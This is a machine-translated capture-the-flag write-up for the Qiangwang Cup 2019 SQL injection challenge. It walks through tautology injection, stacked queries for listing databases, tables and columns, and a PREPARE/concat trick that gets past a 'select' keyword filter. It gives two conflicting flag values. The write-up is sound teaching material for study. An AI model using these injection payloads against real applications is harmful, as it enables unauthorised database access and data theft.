[Qiangwang Cup 2019] Небрежное примечание 1 [Внедрение SQL] Процесс синтаксического анализа

1. Сначала запустите и получите доступ к целевой машине, есть поле ввода, просто введите его 1' or 1 = 1и проверьте, есть ли sql-инъекция.

2. Подсказка после отправки error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1, указывающая, что за параметрами бэкенда могут быть другие операторы sql, мы добавляем # после 1' или 1 = 1, чтобы закомментировать другие возможные операторы sql, то есть: успешно вывести таблицу Все данные, 1' or 1 = 1#но нет флага

 3. Затем идет sql-инъекция, затем мы вручную обнаруживаем другие таблицы, сначала судим о количестве полей: , система подсказывает, ' union select 1,2;#что return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);функция preg_match используется для выполнения регулярных выражений, то есть система использует этот код для выбора и другие ключевые слова отфильтрованы

 4. Поскольку ключевое слово select нельзя использовать, мы можем обойти ключевое слово select путем внедрения в стек.

5. Просмотрите имя базы данных:1';show databases;#

6. Просмотрите техпаспорт:1';show tables;#

7. Давайте посмотрим на структуру первой таблицы 1919810931114514. Есть два способа:

метод первый:1'; show columns from tableName;#

Способ 2:1';desc tableName;#

Обратите внимание, что если tableName является чистым числом, его необходимо обернуть `, например1';desc `1919810931114514`;#

Имя полученного поля — флаг:

 

 8. Поскольку ключевое слово select фильтруется, мы можем объединить его с помощью предварительной компиляции: 1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#get flag: flag{c0fc32ff-8ae1-4b96-8da0-1f621d7fdae3}

 ФЛАГ: флаг {ab1f3d33-af30-45b8-b1e9-f5a9915e4676}

Je suppose que tu aimes

Origine blog.csdn.net/qq_50377269/article/details/130959580
conseillé
Classement